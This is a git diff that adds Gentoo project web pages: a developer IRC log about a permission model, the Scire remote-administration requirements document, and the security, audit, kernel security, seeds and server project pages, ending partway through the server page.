+Mar 19 01:08:23 codeman	ok so what are we looking at structurally here?
+Mar 19 01:08:31 codeman	please use the new terminology
+Mar 19 01:08:38 blackace	in terms of?
+Mar 19 01:08:46 codeman	users have rights, but also belong to groups
+Mar 19 01:08:54 codeman	clients have ???
+Mar 19 01:08:59 blackace	nothing
+Mar 19 01:09:12 codeman	clients are assigned ???
+Mar 19 01:09:18 agaffney	the only place where "users" come in is the frontend, correct?
+Mar 19 01:09:20 blackace	to groups
+Mar 19 01:09:22 codeman	yes
+Mar 19 01:09:29 blackace	and jobs are assigned to clients and/or groups
+Mar 19 01:10:15 blackace	users are assigned to groups, and privileges including jobs are assigned to users and/or groups
+Mar 19 01:10:30 codeman	so when a user tries to make a job what's the checking process then?
+Mar 19 01:11:12 blackace	is this job assigned to the target (client or group of clients)?
+Mar 19 01:11:37 agaffney	codeman: ideally, the user just won't get the option to create a job they're not allowed to
+Mar 19 01:11:56 blackace	yes? ok, is this job/privilege assigned/granted to this user?  this user's group?  is it explicitly denied to this user or this user's group?
+Mar 19 01:12:09 codeman	so we stop them based first on individual permissions and second on group permissions?
+Mar 19 01:13:01 blackace	no, we see if their group is allowed, if it isn't we see if they individually are allowed, if they are or their group is, we check to see if they or their group are denied
+Mar 19 01:13:05 codeman	or is it backwards, we grant them.. like i have "run script" individual permission so i can run scripts anywhere?
+Mar 19 01:13:29 blackace	no, then comes client permissions
+Mar 19 01:13:42 blackace	actually, screw it, let's just use the mysql grant table concept
+Mar 19 01:13:43 codeman	woah, where did client permissions come from?
+Mar 19 01:14:00 agaffney	how do we say a user can do this on machine A and something else on machine B?
+Mar 19 01:14:20 blackace	GRANT PRIVILEGE `run scripts` ON machineA;
+Mar 19 01:14:25 blackace	err
+Mar 19 01:14:33 blackace	GRANT PRIVILEGE `run scripts` ON machineA TO user;
+Mar 19 01:14:49 blackace	GRANT PRIVILEGE `install packages` ON machineB TO usersgroup;
+Mar 19 01:15:00 codeman	we're right back where we started
+Mar 19 01:15:01 blackace	and so on and so forth
+Mar 19 01:15:22 blackace	well what's wrong with that?
+Mar 19 01:15:28 codeman	nothing at all
+Mar 19 01:15:43 codeman	i like it
+Mar 19 01:16:02 codeman	BenUrban: please document all this for us :)
+Mar 19 01:16:03 blackace	heh, so wtf have we been arguing about? :P  lets do it!
+Mar 19 01:16:11 blackace	s/document/code/
+Mar 19 01:16:13 BenUrban	yeah sure whatever
+Mar 19 01:16:29 codeman	we all know BenUrban doesn't do any coding for us.  only for his own projects
+Mar 19 01:16:44 BenUrban	well that's not entirely true
+Mar 19 01:16:52 BenUrban	but i don't do any significant coding for you :P
+Mar 19 01:17:08 codeman	alright, i'll give ya that
+Mar 19 01:17:53 codeman	blackace: if you wanna mess around with the doc some since it's not too late in your timezone and send it to me in the morning, that'd be awesome.
+Mar 19 01:18:36 blackace	codeman: ok, you make any changes since that rtf?
+Mar 19 01:18:42 codeman	i like the terms "groups"  better than "roles" and "permissions" better than "priviledges"
+Mar 19 01:18:48 codeman	blackace: no
+Mar 19 01:18:51 blackace	ok :)
+Mar 19 01:18:59 *	blackace stabs privileges
+Mar 19 01:19:15 codeman	mainly because i can never remember how to spell priviledges
+Mar 19 01:19:40 blackace	GRANT PERMISSION kill ON earth TO blackace;
+Mar 19 01:20:51 *	codeman goes to sleep
+Mar 19 01:20:52 blackace	777 can rm 007
+Mar 19 01:21:09 blackace	ok, stopping with the linux james bond jokes
+Mar 19 01:21:40 codeman	hopefully we can devote some time tomorrow to talking about installer integration.
+Mar 19 01:22:44 codeman	and my nifty queuing system.. i utilized many aspects of queuing systems used at my company.
+Mar 19 01:22:50 blackace	I think installer integration will be the least of our concerns
+Mar 19 01:23:10 *	blackace loves queues and stacks
+Mar 19 01:23:22 blackace	and linked lists
+Mar 19 01:23:30 blackace	and binary trees
+Mar 19 01:26:28 codeman	we should also discuss how to set up the project itself
+Mar 19 01:26:39 *	BenUrban deques blackace
+Mar 19 01:26:42 codeman	svn repos, gentoo-hosted proj, etc.
diff --git a/xml/htdocs/proj/en/scire/requirements.xml b/xml/htdocs/proj/en/scire/requirements.xml
new file mode 100644
index 00000000..15337780
--- /dev/null
+++ b/xml/htdocs/proj/en/scire/requirements.xml
@@ -0,0 +1,391 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/scire/requirements.xml,v 1.3 2006/07/06 02:45:15 codeman Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/scire/requirements.xml">
+<title>Scire - Systems Configuration, Installation, and Replication Environment</title>
+
+<author title="Author">
+  <mail link="codeman@gentoo.org">Preston Cody</mail>
+</author>
+<author title="Editor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+
+<abstract>
+The Scire project aims to create a simple interface for installing, 
+configuring, updating, and managing mass numbers of client machines.
+This document contains notes concerning the implementation of the Scire project.
+</abstract>
+
+<license/>
+
+<version>1.2</version>
+<date>5 July 2006</date>
+
+<chapter>
+<title>Application Overview</title>
+<section>
+<title>Objectives</title>
+<body>
+
+<p>
+Scire will serve as a common portal for administrative tasks for multiple Linux
+client machines.  Common tasks will include updating software, installing
+software, customizing configuration files, and running scripts.
+</p>
+
+<p>
+Scire will keep track of client machines and let privileged users assign tasks
+to individual clients or groups of clients.
+</p>
+
+<p>
+The goal of Scire is to make administration of massive networks of Linux
+machines easy on administrators.  It will be extremely modular so as to allow
+users to create modules that extend it's functionality.
+</p>
+
+<p>
+In its simplest form, Scire is just a database of information about client
+machines along with modules designed to use that information to manage the
+clients.
+</p>
+
+</body>
+</section>
+<section>
+<title>Process</title>
+<body>
+
+<p>
+When possible Scire will use existing technologies in order to make the
+development as easy and pain-free as possible.  This will likely include
+Apache, PHP, a SQL-compatible databse, and a SecureXMLRPC server and client
+that utilizes SSL certifications.  Other technologies planned for use
+are PHP-GACL, ADOdb, and Smarty.
+</p>
+
+</body>
+</section>
+<section>
+<title>User Management Subsystem</title>
+<body>
+
+<p>
+Communication with clients will be permitted only to privileged users or user 
+groups.  For example: Samir is in the Technology group, and the Technology 
+group is granted the Update privilege on the PrinterServers group, so Samir 
+can schedule a "update world" job on Printer1 and Printer2 (which are in the
+PrinterServers group), but not on ImageServer1.
+</p>
+
+<ul>
+  <li>
+    'root' user: The root Scire user will have the ability to control all
+		machines and users in the network, including assigning them to client groups
+		and user groups, respectively.  The root user is the only user that can add
+		users to the Administrators group.
+		The 'Administrators' group has the ability to assign users to user groups,
+		and grant privileges to them.  Administrators will (though not recommended) 
+		have the ability to assign itself to every user group, it will be able to 
+		assign tasks to any client as well as granting/revoking privileges, 
+		adding/deleting clients, client groups, users, and user groups.
+  </li>
+  <li>
+    Other users: Users will be given roles that will define what tasks they can
+    assign to which clients.  Thus, many maintenance tasks may be accomplished
+    by people other than the 'root' user, saving the system administrator time.
+	</li>
+	<li>
+		Users are defined by a userid # in the database for quick access, and are
+		also unique by username (though this is changeable in case it is necessary).
+		Users can only create jobs on clients that they have permissions on.  These
+		permissions define not only the user and the client, but also the script
+		that the job executes.  Thus, the scripts define the abilities of the
+		permission and also the abilities of users on clients.  Once a user creates
+		a job on a client or group of clients, only users with the same permission 
+		on those clients can edit the job.
+	</li>
+	<li>
+		Only users in the Administrators group will be able to view the permissions
+		and user information of other users.  All other users will only be able to
+		see their own permissions.  This limits the information that
+		non-administrators can see about other users, an anti-phishing precaution.
+	</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Interaction with other systems</title>
+<body>
+
+<p>
+	Scire will have two methods of communicating with clients to send jobs for the
+	client to do.  The common way will be to use a client program installed 
+	(likely in the crontab) on each client machine.  This program will fetch any
+	waiting jobs from the Scire server into a local queue to run.  If this client
+	program is not run, the client operates independently as if Scire didn't 
+	exist, and if configured to do so, Scire will present an alert to certain 
+	users or user groups stating that the client missed a communication interval.
+	This method is preferred since it is a pull mechanism with built-in
+	authentication checks and is more secure because it does not leave an open 
+	port.
+</p>
+<p>
+	Alternatively, a Scire client program can be run in daemon mode, where it then
+	opens a port/socekt and both sends requests for work and waits for commands
+	from the Scire server.  This allows for immediate actions to be executed from
+	the Scire server.
+</p>
+<p>
+	When requests are fetched either way, they are put into the client's local
+	queue.  The queue is ordered by priority and then by time (oldest jobs first).
+	An example line for running the client might be:
+	:$ scire_client --daemon --poll_interval 5m
+</p>
+<p>
+	When run, the client will be able to execute scripts and run jobs as the 
+	root user of that client, though this is not preferred.  The access granted 
+	to the machine will be determined by the permissions the job has been 
+	assigned.  The interval that the client program will be run should be 
+	configurable and be related to the number of clients, the required expediency
+	of updates, and the hardware/network abilities of the Scire server.
+</p>
+
+<p>
+In the hopes of creating a secure system, there will be at least two levels of
+authentication for clients before they will trust a job well enough to execute
+it.  The client will authenticate that the host it is asking for work is indeed
+the Scire server, using a host key.  If the key doesn't match the key on record
+on the Scire server, the client will not connect.  In order to create a job,
+the user will need to login to the Scire server, and be granted the appropriate
+rights by the Administrators.  This provides the second level of security.
+</p>
+
+</body>
+</section>
+<section>
+<title>Replacement of Legacy Systems</title>
+<body>
+
+<p>
+Scire will duplicate much of the functionality currently existing in other
+system management programs such as Red Hat Satellite, m23, and SystemInstaller
+to name a few, and will seek to improve on that functionality, while adding
+new functionality not yet found in other systems.
+</p>
+
+</body>
+</section>
+<section>
+<title>Terminology</title>
+<body>
+
+<table>
+  <tr>
+    <th>Term</th>
+    <th>Definition</th>
+  </tr>
+  <tr>
+    <ti>root user</ti>
+    <ti>The user with all access, main administrator.</ti>
+  </tr>
+  <tr>
+    <ti>user</ti>
+    <ti>Someone else using Scire.</ti>
+  </tr>
+  <tr>
+    <ti>user group</ti>
+    <ti>
+      A group of users that job assigning and client access privileges may be
+      granted to, or revoked from.
+    </ti>
+  </tr>
+  <tr>
+    <ti>client machine || client</ti>
+    <ti>The machines that Scire manages.</ti>
+  </tr>
+  <tr>
+    <ti>client group</ti>
+    <ti>
+      A group of client machines that privileges may be granted to, or revoked
+      from users or user groups.
+    </ti>
+  </tr>
+  <tr>
+    <ti>client program</ti>
+    <ti>
+      Program that runs on a client machine and allows it to communicate
+      with the Scire server and gather and execute jobs.
+    </ti>
+  </tr>
+  <tr>
+    <ti>job</ti>
+    <ti>
+      A defined set of information describing an action to be performed on a
+      client which may include permissions information describing the context in
+      which it should be executed on the client.
+    </ti>
+  </tr>
+  <tr>
+    <ti>Secure XMLRPC</ti>
+    <ti>Protocol for job communication.</ti>
+  </tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Functional Requirements</title>
+<section>
+<title>Statement of Functionality</title>
+<body>
+
+<p>
+Physically, Scire requires a server or servers to run the main database and web
+interface.  The number of client machines will be arbitrary but Scire will be
+designed to scale.  Setting up the clients will normally require the use of a
+module to configure the client machine to use the Scire client program.  It
+will be possible, however, to install the Scire client program on any Linux
+computer and then set up that client's settings using the Scire web interface.
+</p>
+
+<p>
+Because the developers are Gentoo users, the Gentoo Linux Installation
+Management Daemon will be a module designed to work cooperatively with Scire by
+optionally installing and configuring the Scire client program, and then
+providing Scire with the appropriate client information to set up the client
+(i.e. network settings, package versions, etc).
+</p>
+
+<note>The following topics need to be expanded on:</note>
+
+<ul>
+  <li>Security</li>
+  <li>Auditing</li>
+  <li>Administration/Customization of the Application</li>
+  <li>Reporting</li>
+  <li>Scope</li>
+  <li>Performance</li>
+  <li>Usability</li>
+  <li>Concurrency</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Component Descriptions</title>
+<section>
+<title>Scire User Management</title>
+<body>
+	
+<p>
+	The user management system will utilize a basic set of ACLs to control
+	which users have access to which clients and what access that is.  Access
+	is defined as a set of "permissions" on a client.  The core of this system
+	will be php-GACL, with a simplified front-end made to suit Scire's needs.
+	There will be a python implementation of the ACL checks for backend use.
+	Before any job is sent to a client it must be checked first to ensure
+	the user still has the permission to run the job on that client.
+</p>
+<p>
+	The Administrator group will have the ability to create users and
+	UserGroups.  Users may belong to multiple UserGroups.  Clients will work
+	similarly to Users, but it is not recommended to have a client belong to
+	more than one ClientGroup.  In the "Assign Permissions" screen, the
+	Administrator will choose a user or UserGroup and then choose from a set of
+	Permissions and then assign them to a Client, multiple Clients, or a
+	ClientGroup.
+</p>
+<p>
+	Since the creator of a job as well as the Permission required for the job
+	is stored in the database, a simple check of the ACL (i.e. "Does user X have
+	permission Y on client Z") will yield a yes/no.  php-GACL takes care of all
+	potential conflicts.  In doubt, individual ACLs override group ACLs.
+</p>
+<note>
+	For more detail and a very good set of examples see the php-GACL documentation
+	<uri link="http://phpgacl.sourceforge.net/manual.pdf"> here </uri>
+</note>
+</body>
+</section>
+<section>
+<title>Job scheduling and queuing system</title>
+<body>
+
+<p>
+When a user assigns a client a job, it will go into the queuing system to be
+fetched by the client program.  Alternatively, users will be able to schedule
+jobs to be executed in the future, optionally recurring.  Jobs will be stored
+in the database on the Scire server (web server side, database can be
+separate).
+</p>
+<p>
+When the client machine requests work, it will fetch all jobs
+past the current time (will not fetch future jobs), and put them into a local
+queue. A directory structure such as 
+<path>/$LOCAL/Jobs/queue/priority@timestamp@job_id</path> where
+$LOCAL is the root of the directory structure, priority is 1-9, 1 being highest
+priority, timestamp is a unix epoch, and job_id is the database job id # (for
+status values).
+</p>
+
+<p>
+Once done fetching the client program will look at the queue and move the 
+first file to <path>$LOCAL/Jobs/running/</path>.  If client
+is unable to run the job or doesn't receive correctly, it will return a code
+that the server daemon will receive, and also move the job to
+<path>$LOCAL/Jobs/failed/</path>, otherwise if it succeeds it will
+move to <path>$LOCAL/Jobs/done/</path>.  Since the client is
+calling the server, the server will automatically fork a thread per client
+connection.  Since there is almost no overhead besides bandwidth in transferring
+the jobs, the load is not expected to be able to bring down the server.  If
+stability becomes a problem, the max_threads/connections will be made to be
+customizable.
+</p>
+
+</body>
+</section>
+<section>
+<title>Scire Client Program</title>
+<body>
+
+<note>This section is incomplete.</note>
+
+</body>
+</section>
+<section>
+<title>Communication protocols/methods between client and server</title>
+<body>
+
+<note>This section is incomplete.</note>
+
+</body>
+</section>
+<section>
+<title>Client setup and configuration</title>
+<body>
+
+<note>This section is incomplete.</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Appendices</title>
+<section>
+<body>
+
+<p></p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/scire/scire.png b/xml/htdocs/proj/en/scire/scire.png
new file mode 100644
index 00000000..013e7341
--- /dev/null
+++ b/xml/htdocs/proj/en/scire/scire.png
diff --git a/xml/htdocs/proj/en/security/audit.xml b/xml/htdocs/proj/en/security/audit.xml
new file mode 100644
index 00000000..14b036ae
--- /dev/null
+++ b/xml/htdocs/proj/en/security/audit.xml
@@ -0,0 +1,94 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>Auditing</name>
+  <longname>Gentoo Linux Security Audit Project</longname>
+
+  <description>Preventive security audit of packages in the Portage
+  tree.</description>
+
+  <longdescription><p>The Gentoo Linux Security Audit Project is focused upon
+  auditing packages for security issues. The aim of the project is to audit
+  as many of the packages available through Gentoo Linux stable Portage tree
+  as possible for potential flaws.</p></longdescription>
+  
+  <dev description="Tools &amp; Methodology">solar</dev>
+ 
+  <extrachapter position="subproject">
+   <title>Auditing methodology</title>
+    <section>
+    <title>Scope</title>
+    <body>
+    <p>
+    Due to the sheer size of the portage tree, it is infeasible for this
+    project to be able to audit all the packages. The system of prioritizing
+    is based on the time, risk factor, motivation and skills necessary to
+    audit a given package.
+    </p>
+    </body>
+    </section>
+    <section>
+    <title>Tools</title>
+    <body>
+    <p>
+    There are several packages available within the portage tree which
+    are designed to aid source code audits. Some of the these include:
+    </p>
+    <ul>
+      <li>dev-util/flawfinder</li>
+      <li>dev-util/rats</li>
+      <li>dev-util/pscan</li>
+      <li>app-forensics/examiner</li>
+      <li>dev-util/splint</li>
+    </ul>
+    <p>
+    Each of the general scanning tools will include output describing
+    the flaw detected, and possibly giving advice on how the code can be
+    fixed. For example the following is taken from the output of RATS
+    describing the dangers of getenv: <e>"Environment variables are highly
+    untrustable input. They may be of any length, and contain any data.
+    Do not make any assumptions regarding content or length. If at all
+    possible avoid using them, and if it is necessary, sanitize them and
+    truncate them to a reasonable length."</e>
+    </p>
+    <p>
+    If you need any further advice on how to correct a hole which has been
+    reported you should study a book on programming securely, such as
+    the <uri link="http://www.dwheeler.com/secure-programs/">Secure Programming
+    for Linux and Unix HOWTO</uri> by David A. Wheeler or the
+    <uri link="https://www.securecoding.cert.org/confluence/display/seccode/CERT+C+Secure+Coding+Standard">C Secure Coding Standard</uri> by CERT
+    (Remember that when reporting security issues a patch closing the hole
+    is greatly appreciated).
+    </p>
+    </body>
+    </section>
+    <section>
+    <title>Submitting found flaws</title>
+    <body>
+    <p>
+    When you find a vulnerability, you should write a vulnerability
+    description and submit it for peer-review as a new security bug
+    (with "Gentoo Security" as product and "Auditing" as component,
+    restricted to Gentoo Security). Other auditors (and security team members)
+    will double-check what you found, ensure that it is indeed a bug
+    with a security impact.
+    </p>
+    <p>
+    When it has been thoroughly peer-reviewed, it will
+    be cleared to go upstream as a "Gentoo Security Audit Subproject" sighting.
+    Depending on its severity and how the package is common amongst
+    distributions, it might need to be coordinated with vendor-sec for
+    coordinated release and CVE number attribution.
+    </p>
+    <impo>
+    Please do not submit non-peer-reviewed vulnerabilities to any disclosure
+    channel (including upstream) under the Gentoo name or a gentoo.org email
+    address. Nothing hurts more our credibility than issuing Gentoo-branded
+    bogus vulnerability reports.
+    </impo>
+    </body>
+    </section>
+  </extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/security/index.xml b/xml/htdocs/proj/en/security/index.xml
new file mode 100644
index 00000000..5b6c9f8a
--- /dev/null
+++ b/xml/htdocs/proj/en/security/index.xml
@@ -0,0 +1,126 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>security</name>
+  <longname>Gentoo Linux Security Project</longname>
+  <date>2009-11-18</date>
+
+  <description>The Gentoo Linux Security Project ensures that all
+  vulnerabilities in software provided by Gentoo Portage tree are
+  found and fixed in a timely manner.</description>
+
+  <longdescription><p>The Gentoo Linux Security Project mission is to
+  ensure that vulnerabilities in software accessible through Gentoo
+  Linux Portage tree are found and fixed in a timely manner, so that
+  our users remain protected against known vulnerabilities.
+  </p></longdescription>
+
+  <recruitment>
+    <job>
+      <summary>GLSA Coordinators</summary>
+      <details>Helping with the coordination of security bugs and GLSAs. More
+      information on the recruitment process can be found
+      <uri link="/proj/en/security/index.xml#doc_chap7">further
+      down</uri> on the project page.</details>
+      <requirements />
+      <contact>security@gentoo.org</contact>
+    </job>
+    <job>
+      <summary>Kernel Security Coordination</summary>
+      <details />
+      <requirements />
+      <contact>security@gentoo.org</contact>
+    </job>
+  </recruitment>
+
+  <dev role="lead" description="Operational manager">rbu</dev>
+  <dev role="lead" description="Operational manager">py</dev>
+  <dev description="GLSA Coordinator">Falco</dev>
+  <dev description="GLSA Coordinator">vorlon</dev>
+  <dev description="GLSA Coordinator">a3li</dev>
+  <dev description="GLSA Coordinator">jaervosz</dev>
+  <dev description="GLSA Coordinator">keytoaster</dev>
+  <dev description="GLSA Coordinator">craig</dev>
+  <dev description="Security patches, Auditing">solar</dev>
+  <dev description="Security patches">vapier</dev>
+  <dev description="Infrastructure liaison">klieber</dev>
+
+  <subproject ref="/proj/en/security/kernel.xml"/>
+  <subproject ref="/proj/en/security/audit.xml"/>
+
+  <extrachapter position="subproject">
+    <title>Arch Security Liaisons</title>
+    <section>
+      <body>
+        <table>
+        <tr><th>Architecture</th><th>Security liaison</th></tr>
+        <tr><ti>alpha</ti><ti>armin76, klausman</ti></tr>
+        <tr><ti>amd64</ti><ti>keytoaster, chainsaw</ti></tr>
+        <tr><ti>hppa</ti><ti>jer</ti></tr>
+        <tr><ti>ppc</ti><ti>josejx, ranger</ti></tr>
+        <tr><ti>ppc64</ti><ti>josejx, ranger</ti></tr>
+        <tr><ti>sparc</ti><ti>armin76, tcunha</ti></tr>
+        <tr><ti>x86</ti><ti>fauli, maekke</ti></tr>
+        </table>
+      </body>
+    </section>
+  </extrachapter>
+  <extrachapter position="subproject">
+    <title>Release Engineering Security Liaison</title>
+    <section>
+      <body>
+        <p>The current Release Engineering Security liaison is pva.</p>
+      </body>
+    </section>
+  </extrachapter>
+  <extrachapter position="subproject">
+    <title>Becoming a Gentoo Security developer</title>
+    <section>
+      <title>How to join the team</title>
+      <body>
+        <p>
+        To participate in the Gentoo Linux Security Project first join the
+        mailing list at
+        <uri link="/main/en/lists.xml">gentoo-security@gentoo.org</uri>
+        and sign yourself
+        up a <uri link="https://bugs.gentoo.org/createaccount.cgi">Bugzilla
+        account</uri>. You may be able to talk to one of our security
+        developers and/or users in the IRC channel <e>#gentoo-security</e>
+        on <e>irc.freenode.net</e> for more information or just to chat about
+        the security state of existing projects.
+        </p>
+
+        <p>
+        Candidates for the GLSA Coordinator role should read the
+        <uri link="/security/en/coordinator_guide.xml">GLSA Coordinators
+        Guide</uri> to see what it takes to be a GLSA Coordinator. The
+        <uri link="/security/en/padawans.xml">Padawans page</uri> lists the
+        process and status of our GLSA Coordinator recruitment efforts.
+        </p>
+
+        <note>
+        If you don't have the ability to actively help by contributing work
+        we will always need testers to maintain the security and stability
+        of the overall project. All development, testing, and productive
+        comments and feedback is greatly appreciated.
+        </note>
+      </body>
+    </section>
+  </extrachapter>
+
+  <resource link="/security/en/index.xml">
+  Gentoo Linux Security page</resource>
+  <resource link="/security/en/glsa/index.xml">
+  Full list of all published GLSAs</resource>
+  <resource link="/security/en/vulnerability-policy.xml">
+  Vulnerability Treatment Policy</resource>
+  <resource link="/security/en/coordinator_guide.xml">
+  GLSA Coordinators Guide, a guide for Security Team members</resource>
+  <resource link="/security/en/padawans.xml">
+  Security padawans recruitment process and status</resource>
+  <resource link="/security/en/bug-searching.xml">
+  Tips for searching and filtering Security bugs</resource>
+
+</project>
diff --git a/xml/htdocs/proj/en/security/kernel.xml b/xml/htdocs/proj/en/security/kernel.xml
new file mode 100644
index 00000000..07d1c86e
--- /dev/null
+++ b/xml/htdocs/proj/en/security/kernel.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>Kernel</name>
+  <longname>Gentoo Linux Kernel Security Project</longname>
+
+  <description>The Kernel Security subproject is tasked with keeping all 
+  kernel sources secure.</description>
+  <longdescription><p>Gentoo Linux Kernel Security Project handles patching our
+  many kernel sources and informing our users about global kernel
+  security status.</p></longdescription>
+  
+  <dev description="Maintainer">dsd</dev>
+  <extrachapter position="devs">
+    <title>Project Status</title>
+    <section>
+      <title>Project Inactive</title>
+      <body>
+        <warn>Please note, that the Kernel Security Project is more or less
+          inactive at the moment and that the information given here is
+          not up to date.</warn>
+        <p>If you are interested in helping with kernel security handling, 
+        please contact the <uri link="/proj/en/security/">Security Team</uri>.</p>
+      </body>
+    </section>
+  </extrachapter>
+	 
+  <extrachapter position="subproject">
+    <title>Kernel Sources</title>
+    <section>
+	<title>Supported Kernel Sources</title>
+	<body>
+	<table>
+	  <tr><th>Kernel Source</th><th>Security liaison</th></tr>
+	  <tr><ti>cell-sources</ti><ti>lu_zero</ti></tr>
+	  <tr><ti>ck-sources</ti><ti>dsd</ti></tr>
+	  <tr><ti>gentoo-sources</ti><ti>dsd</ti></tr>
+	  <tr><ti>hardened-sources</ti><ti>phreak</ti></tr>
+	  <tr><ti>hppa-sources</ti><ti>gmsoft</ti></tr>
+	  <tr><ti>mips-sources</ti><ti>kumba</ti></tr>
+	  <tr><ti>openvz-sources</ti><ti>phreak</ti></tr>
+	  <tr><ti>rsbac-sources</ti><ti>kang</ti></tr>
+	  <tr><ti>sparc-sources</ti><ti>kumba</ti></tr>
+	  <tr><ti>suspend2-sources</ti><ti>alonbl</ti></tr>
+	  <tr><ti>usermode-sources</ti><ti>dang</ti></tr>
+	  <tr><ti>vserver-sources</ti><ti>phreak</ti></tr>
+	  <tr><ti>xen-sources</ti><ti>marineam</ti></tr>
+	</table>
+      </body>
+     </section>
+     <section>
+       <title>Unsupported Kernel Sources</title>
+       <body>
+	 <table>
+	   <tr><th>Kernel Source</th><th>Security Liaison</th><th>Reason for being unsupported</th></tr>
+	   <tr><ti>git-sources</ti><ti>masterdriverz</ti><ti>This kernel package represents daily snapshots of the very latest Linux kernel development tree.  It is taken directly from upstream, and by definition, is not modified by Gentoo.</ti></tr>
+	   <tr><ti>mm-sources</ti><ti>masterdriverz</ti><ti>This kernel is the latest bleeding-edge Linux kernel experimental development tree.  It is taken directly from upstream, and by definition, not modified by Gentoo.</ti></tr>
+	   <tr><ti>sh-sources</ti><ti>vapier</ti><ti>Gentoo on SH is currently not a supported architecture.  This kernel is in the tree for ongoing development efforts.</ti></tr>
+	   <tr><ti>xbox-sources</ti><ti>vapier</ti><ti>Gentoo on XBOX is currently not a supported architecture.  This kernel is in the tree for ongoing development efforts.</ti></tr>
+	   <tr><ti>vanilla-sources</ti><ti>phreak</ti><ti>This kernel package is the latest stable and release candidate packages from upstream.  By definition, Gentoo does not modify this package.</ti></tr>
+	 </table>
+       </body>
+     </section>
+     <section>
+       <title>Making a New Kernel Source</title>
+       <body>
+       <p>
+	 Adding a new kernel source into the tree is not recommended by the Gentoo Security Team.  Unless it is a kernel source you think could be used by a wide number of users, please end your consideration here and simply use an overlay.  If you do believe that it is, you must be willing to become the security maintainer.  Being the security maintainer for a kernel source means being willing to devote a significant amount of time to closing security bugs for that kernel source.  Additionally, you must take care that your kernel source never falls into hardmasking.  If it does, your kernel source will automatically lose Gentoo Security support, and may be subject to tree removal.
+       </p>
+       </body>
+     </section>
+  </extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/seeds/index.xml b/xml/htdocs/proj/en/seeds/index.xml
new file mode 100644
index 00000000..b3678d0a
--- /dev/null
+++ b/xml/htdocs/proj/en/seeds/index.xml
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Seeds</name>
+<longname>Gentoo Seeds Team</longname>
+<date>2006-12-07</date>
+
+<description>
+The Gentoo Seeds team is responsible for the development of 'stage4' tarballs, used for seeding boxes with ready-to-go versions of Gentoo.
+</description>
+
+<longdescription>
+
+<p>
+<b>What we do, and who we are</b>
+</p>
+
+<p>
+The Gentoo Seeds team looks after the packages in the 'seeds' category of Portage.  The 'seeds' are out-of-the-box setups of Gentoo for common tasks, such as web serving.
+</p>
+</longdescription>
+
+<goals><p>
+Our goal is to provide tailored releases of Gentoo, suitable for quickly seeding a box with Gentoo.
+</p></goals>
+
+<!-- Developer Roles -->
+
+<!-- Project Specific Pages/Documentation -->
+<!--resource link="policy.xml">The Overlays Policy</resource-->
+
+<!-- Subprojects -->
+<!--subproject ref="/proj/en/gdp/international.xml"/-->
+
+<!-- Chapter regarding mailing list & participation -->
+<extrachapter>
+<title>Participating</title>
+<section>
+<title>#gentoo-seeds on irc.freenode.net</title>
+<body>
+
+<p>
+The best way to reach us is on IRC in the <uri 
+link="irc://freenode/gentoo-seeds">#gentoo-seeds</uri> channel on irc.freenode.net.
+</p>
+<p>Also, check out <uri link="http://overlays.gentoo.org/proj/seeds/">our overlay</uri>.</p>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/server/index.xml b/xml/htdocs/proj/en/server/index.xml
new file mode 100644
index 00000000..808d3197
--- /dev/null
+++ b/xml/htdocs/proj/en/server/index.xml
@@ -0,0 +1,150 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/server/index.xml" lang="en">
+<title> Gentoo Server Project</title>
+<subtitle>Main Page</subtitle>
+<author title="Author">
+   <mail link="wmealingd@gentoo.org">Wade Mealing</mail>
+</author>
+<author title="Editor">
+   <mail link=""></mail>
+</author>
+<abstract>
+  The Gentoo server project is an official project of Gentoo.org with the target of
+  bringing Gentoo Linux to the enterprise.
+</abstract>
+
+<version>0.1</version>
+<date>28 July 2003</date>
+
+<chapter>
+<title>What is the Gentoo Server Project</title>
+<section>
+<body>
+<p>
+   The aim of the Gentoo Server Project is to make Gentoo Linux more
+   appealing to the enterprise market.  Large institutions have
+   different needs than small business and home users.  The network
+   in these institutions are more complex and have different
+   demands.
+
+</p>
+<p>
+   The Gentoo Server Projects goal is to make administration
+   of a single Gentoo host, to a fleet of machines easier and
+   more cost effective for the administrator and the business.
+
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Server Status</title>
+
+<section>
+<title>Active Development</title>
+<body>
+<p>
+   The current active development in the Gentoo Server Project are are:
+</p>
+
+<table>
+        <tr>
+                <th>Project:</th>
+                <th>Description:</th>
+        </tr>
+        <tr>
+                <ti>Installation</ti>
+                <ti>Documentation on installing and configuring a Gentoo machine</ti>
+        </tr>
+        <tr>
